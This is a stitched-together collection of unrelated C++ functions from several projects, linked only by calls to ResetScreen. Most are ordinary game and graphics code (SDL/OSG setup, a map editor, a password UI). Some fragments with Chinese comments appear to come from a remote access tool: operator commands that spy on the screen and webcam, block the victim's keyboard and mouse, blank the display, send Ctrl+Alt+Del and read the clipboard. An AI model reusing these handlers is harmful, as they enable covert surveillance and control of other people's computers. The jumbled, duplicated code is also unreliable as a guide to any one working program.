/*********************************************************** set screen attributes ***********************************************************/ void OsgHandler::SetScreenAttributes(int resX, int resY, bool fullscreen) { _isFullscreen = fullscreen; _resX = resX; _resY = resY; ResetScreen(); }
void CScreenSpyDlg::OnReceiveComplete() { m_nCount++; switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) { case TOKEN_FIRSTSCREEN: DrawFirstScreen(); break; case TOKEN_NEXTSCREEN: if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN) DrawNextScreenRect(); else DrawNextScreenDiff(); break; case TOKEN_BITMAPINFO: ResetScreen(); break; case TOKEN_CLIPBOARD_TEXT: UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1); break; default: // 传输发生异常数据 return; } }
/*********************************************************** finalize function ***********************************************************/ void OsgHandler::Finalize() { // write data to configuration file { ConfigurationManager::GetInstance()->SetDouble("Display.Camera.Distance", _distance); ConfigurationManager::GetInstance()->SetDouble("Display.Camera.Zenit", _zenit); ConfigurationManager::GetInstance()->SetBool("Display.Camera.Perspective", _isPerspective); ConfigurationManager::GetInstance()->SetInt("Display.Screen.ScreenResolutionX", _resX); ConfigurationManager::GetInstance()->SetInt("Display.Screen.ScreenResolutionY", _resY); ConfigurationManager::GetInstance()->SetBool("Display.Screen.Fullscreen", _isFullscreen); ConfigurationManager::GetInstance()->SetBool("Display.ShadowOn", _displayShadow); } // clean up everything ResetScreen(); _sceneRootNode = NULL; _rootNode = NULL; _viewer = NULL; _translNode =NULL; // free screen SDL_FreeSurface(m_screen); // Shutdown all subsystems SDL_Quit(); }
BookmarkManager::~BookmarkManager() { for_each(m_userMarkLayers.begin(), m_userMarkLayers.end(), DeleteFunctor()); m_userMarkLayers.clear(); ClearItems(); ResetScreen(); }
/*********************************************************** change screen resolution ***********************************************************/ void OsgHandler::Resize(int resX, int resY) { if(resX != _resX || resY != _resY) { _resX = resX; _resY = resY; ResetScreen(); } }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: // 通知内核远程控制端对话框已打开,WaitForDialogOpen可以返回 NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { typedef BOOL (WINAPI *BlockInputT) ( BOOL fBlockIt ); BlockInputT pBlockInput= (BlockInputT)GetProcAddress(LoadLibrary("user32.dll"),"BlockInput"); // 远程仍然可以操作 pBlockInput(false); ProcessCommand(lpBuffer + 1, nSize - 1); pBlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }
//--------------------------------- void CScreenEffects::ResetBlendGroup(int blendGroup, bool resetScreen) { if (m_blends.count(blendGroup) != 0) { CBlendGroup *group = m_blends[blendGroup]; if (group) { group->Reset(); } } if (resetScreen) ResetScreen(); }
//--------------------------------- void CScreenEffects::ClearBlendGroup(int blendGroup, bool resetScreen) { if (m_blends.count(blendGroup) != 0) { SBlendGroup *group = m_blends[blendGroup]; if (group) { delete group; m_blends.erase(m_blends.find(blendGroup)); } } if (resetScreen) ResetScreen(); }
//--------------------------------- void CScreenEffects::ResetAllBlendGroups(bool resetScreen) { std::map<int, CBlendGroup* >::iterator it = m_blends.begin(); while (it != m_blends.end()) { CBlendGroup *cur = (CBlendGroup *)it->second; if (cur) { cur->Reset(); } ++it; } if (resetScreen) ResetScreen(); }
//--------------------------------- void CScreenEffects::ClearAllBlendGroups(bool resetScreen) { std::map<int, SBlendGroup* >::iterator it = m_blends.begin(); while (it != m_blends.end()) { SBlendGroup *cur = (SBlendGroup *)it->second; if (cur) { delete cur; } it++; } m_blends.clear(); if (resetScreen) ResetScreen(); }
void CScreenManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { try { switch (lpBuffer[0]) { case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_SCREEN_RESET: ResetScreen(*(LPBYTE)&lpBuffer[1]); break; case COMMAND_ALGORITHM_RESET: m_bAlgorithm = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setAlgorithm(m_bAlgorithm); break; case COMMAND_SCREEN_CTRL_ALT_DEL: ::SimulateCtrlAltDel(); break; case COMMAND_SCREEN_CONTROL: { BlockInput(false); ProcessMouseAndKeyCommand(lpBuffer + 1, nSize - 1); BlockInput(m_bIsBlockInput); } break; case COMMAND_SCREEN_BLOCK_INPUT: //ControlThread里锁定 m_bIsBlockInput = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_BLANK: m_bIsBlankScreen = *(LPBYTE)&lpBuffer[1]; break; case COMMAND_SCREEN_CAPTURE_LAYER: m_bIsCaptureLayer = *(LPBYTE)&lpBuffer[1]; m_pScreenSpy->setCaptureLayer(m_bIsCaptureLayer); break; case COMMAND_SCREEN_GET_CLIPBOARD: SendLocalClipboard(); break; case COMMAND_SCREEN_SET_CLIPBOARD: UpdateLocalClipboard((char *)lpBuffer + 1, nSize - 1); break; default: break; } }catch(...){} }
Screen::Screen(unsigned int x, unsigned int y, bool fullscreen) { fail_ = true; ResetScreen(x, y, 32, 0); //if (SDL_Init(SDL_INIT_VIDEO) != 0) // return; /*auto flag = SDL_FULLSCREEN; if(!fullscreen) flag = 0; ResetScreen(x, y, 32, SDL_OPENGL | SDL_RESIZABLE | flag); glMatrixMode(GL_PROJECTION); glLoadIdentity(); glOrtho(0, x, y, 0, 0, 1); // TODO: check glMatrixMode(GL_MODELVIEW); glLoadIdentity(); glEnable(GL_TEXTURE_2D); glClearColor(0, 0, 0, 0); glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); glEnable(GL_BLEND); if (!GetParamsHolder().GetParamBool("-novsync")) { #ifdef WIN32 typedef BOOL (WINAPI *PFNWGLSWAPINTERVALEXTPROC)(int); PFNWGLSWAPINTERVALEXTPROC wglSwapInterval = nullptr; wglSwapInterval = reinterpret_cast<PFNWGLSWAPINTERVALEXTPROC>(wglGetProcAddress("wglSwapIntervalEXT")); if (wglSwapInterval) wglSwapInterval(1); #endif }*/ fail_ = false; }
CVideoDlg::CVideoDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext) : CDialog(CVideoDlg::IDD, pParent) { m_lpbmi = NULL; m_lpScreenDIB = NULL; m_lpCompressDIB = NULL; m_iocpServer = pIOCPServer; m_pContext = pContext; m_pVideoCodec = NULL; m_nCount = 0; m_fccHandler=1129730893; m_aviFile = ""; sockaddr_in sockAddr; memset(&sockAddr, 0, sizeof(sockAddr)); int nSockAddrLen = sizeof(sockAddr); BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); m_IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : ""; ResetScreen(); }
void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { switch (lpBuffer[0]) { case COMMAND_NEXT: NotifyDialogIsOpen(); break; case COMMAND_WEBCAM_ENABLECOMPRESS: // 要求启用压缩 { // 如果解码器初始化正常,就启动压缩功能 if (m_pVideoCodec) InterlockedExchange((LPLONG)&m_bIsCompress, true); } break; case COMMAND_WEBCAM_DISABLECOMPRESS: InterlockedExchange((LPLONG)&m_bIsCompress, false); break; case COMMAND_WEBCAM_RESIZE: ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5))); break; default: break; } }
/*********************************************************** toggle fullscreen or windowed mode ***********************************************************/ void OsgHandler::ToggleFullScreen() { _isFullscreen = !_isFullscreen; ResetScreen(); }
void UISetPasswordLayout::ProcessEvent( const InputManager::INPUTKEYS evt ) { switch(evt) { case InputManager::UP: switch (mPasswordEntryState) { case 0: mOldPwd += "u"; mOldStarString += "*"; mOldPwdUIText->ChangeText(mOldStarString); break; case 1: mNewPwd += "u"; mNewStarString += "*"; mNewPwdUIText->ChangeText(mNewStarString); break; case 2: mConfirmPwd += "u"; mConfirmStarString += "*"; mConfirmPwdUIText->ChangeText(mConfirmStarString); break; } break; case InputManager::DOWN: switch (mPasswordEntryState) { case 0: mOldPwd += "d"; mOldStarString += "*"; mOldPwdUIText->ChangeText(mOldStarString); break; case 1: mNewPwd += "d"; mNewStarString += "*"; mNewPwdUIText->ChangeText(mNewStarString); break; case 2: mConfirmPwd += "d"; mConfirmStarString += "*"; mConfirmPwdUIText->ChangeText(mConfirmStarString); break; } break; case InputManager::LEFT: switch (mPasswordEntryState) { case 0: mOldPwd += "l"; mOldStarString += "*"; mOldPwdUIText->ChangeText(mOldStarString); break; case 1: mNewPwd += "l"; mNewStarString += "*"; mNewPwdUIText->ChangeText(mNewStarString); break; case 2: mConfirmPwd += "l"; mConfirmStarString += "*"; mConfirmPwdUIText->ChangeText(mConfirmStarString); break; } break; case InputManager::RIGHT: switch (mPasswordEntryState) { case 0: mOldPwd += "r"; mOldStarString += "*"; mOldPwdUIText->ChangeText(mOldStarString); break; case 1: mNewPwd += "r"; mNewStarString += "*"; mNewPwdUIText->ChangeText(mNewStarString); break; case 2: mConfirmPwd += "r"; mConfirmStarString += "*"; mConfirmPwdUIText->ChangeText(mConfirmStarString); break; } break; case InputManager::CONFIRM: switch (mPasswordEntryState) { case 0: if (SecurityManager::GetInstance()->VerifyPassword( DBEngine::GetInstance()->GetCurrentProfileName(), mOldPwd)) { mPasswordEntryState++; mNewPwdUIText->SetVisible(true); } else { mOldPwd = ""; mOldStarString = "Old Pwd:"; mOldPwdUIText->ChangeText(mOldStarString); } break; case 1: mPasswordEntryState++; mConfirmPwdUIText->SetVisible(true); break; case 2: if( mConfirmPwd != "" && mConfirmPwd == mNewPwd ) { if( mCreatingPassword ) { SecurityManager::GetInstance()->AddUser( DBEngine::GetInstance()->GetCurrentProfileName(), mConfirmPwd ); } else { const std::string & currentUser = DBEngine::GetInstance()->GetCurrentProfileName(); // Not a reference because this will change when we change the user's password below const std::string oldHash = SecurityManager::GetInstance()->GetUserHash( currentUser ); SecurityManager::GetInstance()->ChangeUserPassword( currentUser, mConfirmPwd ); const std::string newHash = SecurityManager::GetInstance()->GetUserHash( currentUser ); char saveFileName[64]; SecurityManager::GetInstance()->ChangeUserHash( currentUser, oldHash ); for( int i = 1; i < 4; ++i ) { if( DBEngine::GetInstance()->IsValidSaveGame( i ) ) { sprintf( saveFileName, "%sSave%03i.xml", currentUser.c_str(), i ); SecurityManager::GetInstance()->DecryptFile( saveFileName, oldHash ); SecurityManager::GetInstance()->EncryptFile( saveFileName, newHash ); } } SecurityManager::GetInstance()->ChangeUserHash( currentUser, newHash ); } UIManager::GetInstance()->PopLayout(); if( mCreatingPassword ) { UIManager::GetInstance()->PushLayout("MainMenu"); } } else { ResetScreen(); } break; } break; case InputManager::CANCEL: { if( !mCreatingPassword ) { mOldPwd = ""; mOldStarString = "Old Pwd:"; mOldPwdUIText->ChangeText(mOldStarString); } mNewPwd = ""; mNewStarString = "New Pwd:"; mNewPwdUIText->SetVisible(false); mNewPwdUIText->ChangeText(mNewStarString); mConfirmPwd = ""; mConfirmStarString = "Confirm Pwd:"; mConfirmPwdUIText->SetVisible(false); mConfirmPwdUIText->ChangeText(mConfirmStarString); if( !mCreatingPassword ) { mPasswordEntryState = 0; } else { mPasswordEntryState = 1; } UIManager::GetInstance()->PopLayout(); } break; default: break; } }
void UISetPasswordLayout::OnLoad() { UILayout::OnLoad(); ResetScreen(); }
Screen::Screen(unsigned int x, unsigned int y, bool fullscreen) { fail_ = true; ResetScreen(x, y, 32, 0); fail_ = false; }
/* ====================================== Getting input for actions that are the same for "editing mode" and "in game mode" ====================================== */ void Listener::ListenCommon() { // -------------------- Text -------------------- // Update info-text strcpy (mText, mModeName); // -------------------- Time measurement -------------------- mDelta = mI->_render->getFrameTime() / 1000.0f; // -------------------- Get mouse position -------------------- mMouseX = mI->_input->getMouseX(); mMouseY = mI->_input->getMouseY(); // -------------------- Update IndieLib cameras -------------------- // Update the position of the cameras mCameraB->setPosition (mCameraBX, mCameraBY); mCameraN->setPosition (mCameraNX, mCameraNY); mCameraM->setPosition (mCameraMX, mCameraMY); mCameraLayers->setPosition (mCameraLayersX, mCameraLayersY); // Update the zoom factor of the cameras mCameraB->setZoom (mCameraZoomB); mCameraN->setZoom (mCameraZoomN); mCameraM->setZoom (mCameraZoomM); mCameraLayers->setZoom (mCameraZoomLayers); // -------------------- Switch between "editing" and "in game" mode when pressing tab -------------------- if (mI->_input->onKeyRelease (IND_TAB)) { if (mMode) { strcpy (mModeName, "In game mode"); // Set text if (mBackDropNodeOver) mBackDropNodeOver->GetEntity()->showGridAreas (false); mMode = false; } else { strcpy (mModeName, "Editing mode | "); // Set text mMode = true; } } // -------------------- Save Map -------------------- if (mI->_input->isKeyPressed (IND_LCTRL) && mI->_input->onKeyPress (IND_S)) mMap->SaveMap (mResources->GetTilesetPath()); // -------------------- New Map -------------------- if (mI->_input->isKeyPressed (IND_LCTRL) && mI->_input->onKeyPress (IND_N)) { char *mTilesetPath = mMap->GetPathToTileset (); if (mTilesetPath) { // We try to load a new tileset if (mResources->LoadTileset (mTilesetPath)) { DeleteBackDropBrushes(); // Delete old brushes. TODO-> Check is the tileset is already loaded CreateBackDropBrushes(); // Create the new brushes using the new loaded tileset mMap->FreeMap(); // Free old map } else exit (0); // Just exit if we can't load it: TODO -> Show a message } } // -------------------- Load Map -------------------- if (mI->_input->isKeyPressed (IND_LCTRL) && mI->_input->onKeyPress (IND_L)) { // Try to load the map if (mMap->LoadMap (mResources)) { DeleteBackDropBrushes(); // Delete old brushes. TODO-> Check is the tileset is already loaded CreateBackDropBrushes(); // Create the new brushes using the new loaded tileset } else exit (0); // Just exit if we can't load it: TODO -> Show a message } // -------------------- Camera position -------------------- // The camera movement is time dependent, each camera has a different speed if (mI->_input->isKeyPressed (IND_A)) { mCameraBX -= CAMERA_SPEED_B * mDelta; mCameraNX -= CAMERA_SPEED_N * mDelta; mCameraMX -= CAMERA_SPEED_M * mDelta; mCameraLayersX -= CAMERA_SPEED_LAYERS * mDelta; } if (mI->_input->isKeyPressed (IND_D)) { mCameraBX += CAMERA_SPEED_B * mDelta; mCameraNX += CAMERA_SPEED_N * mDelta; mCameraMX += CAMERA_SPEED_M * mDelta; mCameraLayersX += CAMERA_SPEED_LAYERS * mDelta; } if (mI->_input->isKeyPressed (IND_W)) { mCameraBY -= CAMERA_SPEED_B * mDelta; mCameraNY -= CAMERA_SPEED_N * mDelta; mCameraMY -= CAMERA_SPEED_M * mDelta; mCameraLayersY -= CAMERA_SPEED_LAYERS * mDelta; } if (mI->_input->isKeyPressed (IND_S)) { mCameraBY += CAMERA_SPEED_B * mDelta; mCameraNY += CAMERA_SPEED_N * mDelta; mCameraMY += CAMERA_SPEED_M * mDelta; mCameraLayersY += CAMERA_SPEED_LAYERS * mDelta; } // -------------------- Camera zoom -------------------- // Zoom in if (mI->_input->isKeyPressed (IND_KEYUP)) { mCameraZoomB += (DIST_CAMERA_B * mDelta) / 1000; mCameraZoomN += (DIST_CAMERA_N * mDelta) / 1000; mCameraZoomM += (DIST_CAMERA_M * mDelta) / 1000; mCameraZoomLayers += (DIST_CAMERA_LAYERS * mDelta) / 1000; } // Zoom out if (mCameraZoomB > 0) // Avoid too much zoom-out { if (mI->_input->isKeyPressed (IND_KEYDOWN)) { mCameraZoomB -= (DIST_CAMERA_B * mDelta) / 1000; mCameraZoomN -= (DIST_CAMERA_N * mDelta) / 1000; mCameraZoomM -= (DIST_CAMERA_M * mDelta) / 1000; mCameraZoomLayers -= (DIST_CAMERA_LAYERS * mDelta) / 1000; } } // reset zoom if (mI->_input->onKeyPress (IND_R)) ResetZoom (); // -------------------- Toggle full screen-------------------- if (mI->_input->onKeyPress (IND_F1)) { //Toggle full screen IND_WindowProperties props ("",mScreenWidth,mScreenHeight, 32,0,!mI->_window->isFullScreen()); props._fullscreen = !mI->_window->isFullScreen(); mI->_render->reset (props); } // -------------------- Change screen resolution -------------------- if (mI->_input->onKeyPress (IND_F2)) if (!ResetScreen (640, 480)) exit (0); if (mI->_input->onKeyPress (IND_F3)) if (!ResetScreen (800, 600)) exit (0); if (mI->_input->onKeyPress (IND_F4)) if (!ResetScreen (1024, 768)) exit (0); if (mI->_input->onKeyPress (IND_F5)) if (!ResetScreen (1440, 900)) exit (0); }
/*********************************************************** initialize ***********************************************************/ void OsgHandler::Initialize(const std::string &WindowName, const std::string &DataPath, boost::shared_ptr<EventHandler> evH, GuiHandler * GuiH) { //set event handler _evH = evH; //set GUI _GuiH = GuiH; osgDB::setDataFilePathList(DataPath); LogHandler::getInstance()->LogToFile("Initializing graphics window..."); /* Initialize the SDL library */ if( SDL_Init(SDL_INIT_VIDEO) < 0 ) { LogHandler::getInstance()->LogToFile(std::string("Couldn't initialize SDL video: ") + SDL_GetError()); return; } SDL_GL_SetAttribute( SDL_GL_RED_SIZE, 5 ); SDL_GL_SetAttribute( SDL_GL_GREEN_SIZE, 5 ); SDL_GL_SetAttribute( SDL_GL_BLUE_SIZE, 5 ); SDL_GL_SetAttribute( SDL_GL_DEPTH_SIZE, 16 ); SDL_GL_SetAttribute( SDL_GL_DOUBLEBUFFER, 1 ); // get data from configuration file { LogHandler::getInstance()->LogToFile("Initializing camera..."); bool perspec; double camdistance, camzenit; ConfigurationManager::GetInstance()->GetDouble("Display.Camera.Distance", camdistance); ConfigurationManager::GetInstance()->GetDouble("Display.Camera.Zenit", camzenit); ConfigurationManager::GetInstance()->GetBool("Display.Camera.Perspective", perspec); SetCameraDistance(camdistance); SetCameraZenit(camzenit); TogglePerspectiveView(perspec); ConfigurationManager::GetInstance()->GetInt("Display.Screen.ScreenResolutionX", _resX); ConfigurationManager::GetInstance()->GetInt("Display.Screen.ScreenResolutionY", _resY); ConfigurationManager::GetInstance()->GetBool("Display.Screen.Fullscreen", _isFullscreen); ConfigurationManager::GetInstance()->GetBool("Display.ShadowOn", _displayShadow); } // set SDL screen LogHandler::getInstance()->LogToFile("Initializing screen display..."); ResetScreen(); if ( m_screen == NULL ) { std::string err("Couldn't set the video mode: "); std::cout<<err<<SDL_GetError()<<std::endl; return; } // set window caption SDL_WM_SetCaption("LBANet",NULL); SDL_ShowCursor (SDL_DISABLE); SDL_EnableUNICODE (1); SDL_EnableKeyRepeat (SDL_DEFAULT_REPEAT_DELAY, SDL_DEFAULT_REPEAT_INTERVAL); // create the window to draw to. _viewer = new osgViewer::Viewer(); _gw = _viewer->setUpViewerAsEmbeddedInWindow(0, 0, _resX, _resY); // osg::ref_ptr<osg::GraphicsContext::Traits> traits = new osg::GraphicsContext::Traits; // traits->x = 10; // traits->y = 10; // traits->width = _resX; // traits->height = _resY; // traits->windowDecoration = true; // traits->doubleBuffer = true; // traits->sharedContext = 0; //traits->windowName = WindowName; // osg::ref_ptr<osg::GraphicsContext> gc = osg::GraphicsContext::createGraphicsContext(traits.get()); // osgViewer::GraphicsWindow* gw = dynamic_cast<osgViewer::GraphicsWindow*>(gc.get()); // if (!gw) // { // LogHandler::getInstance()->LogToFile("Error: unable to create graphics context."); // return; // } //_viewer->getCamera()->setGraphicsContext(gc.get()); //_viewer->getCamera()->setViewport(0,0,_resX,_resY); _viewer->getCamera()->setClearColor(osg::Vec4(0, 0, 0, 1)); //// create the root node used for camera transformation _rootNode = new osg::PositionAttitudeTransform(); _rootNode->setScale(osg::Vec3d(1, 0.5, 1)); _rootNode->setAttitude(osg::Quat(osg::DegreesToRadians(-45.0), osg::Vec3(0,1,0))); _translNode = new osg::PositionAttitudeTransform(); _rootNode->addChild(_translNode); _viewer->setSceneData(_rootNode); _viewer->setCameraManipulator(NULL); _clipNode = new osg::ClipNode(); _clipNode->setStateSetModes(*_translNode->getOrCreateStateSet(),osg::StateAttribute::ON|osg::StateAttribute::PROTECTED|osg::StateAttribute::OVERRIDE); _translNode->addChild(_clipNode); // add the stats handler _viewer->addEventHandler( new osgViewer::StatsHandler() ); _viewer->addEventHandler( new UserInputsHandler() ); // create the windows //_viewer->setUpViewOnSingleScreen(0); _viewer->realize(); //_viewer->renderingTraversals(); // reset camera ResetCameraProjectiomMatrix(); //set default root node ResetDisplayTree(); // put everything in the right place LogHandler::getInstance()->LogToFile("Initializing of graphics window done."); }